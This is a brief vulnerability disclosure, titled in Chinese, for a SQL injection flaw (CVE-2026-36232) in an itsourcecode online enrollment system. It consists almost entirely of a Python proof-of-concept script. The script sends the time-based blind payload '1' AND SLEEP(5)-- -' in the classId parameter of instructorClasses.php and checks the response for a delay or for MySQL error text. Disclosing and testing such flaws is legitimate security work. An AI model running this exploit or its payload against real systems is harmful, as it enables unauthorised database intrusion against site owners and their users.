CVE-2026-36232 itsourcecode在线报名系统SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-host/instructorClasses.php" # Malicious payload to test for SQL Injection # This payload attempts to cause a time delay or syntax error payload = "1' AND SLEEP(5)-- -" # Parameters to be sent in the GET request params = { 'classId': payload } try: # Send the request response = requests.get(target_url, params=params, timeout=10) # Analyze response time for time-based blind injection if response.elapsed.total_seconds() > 5: print("[+] Vulnerability confirmed: SQL Injection detected via time delay.") else: print("[-] Vulnerability not detected via time delay.") # Check for SQL syntax errors in response body (optional) if "mysql_fetch_array()" in response.text or "You have an error in your SQL syntax" in response.text: print("[+] Vulnerability confirmed: SQL Syntax error found in response.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")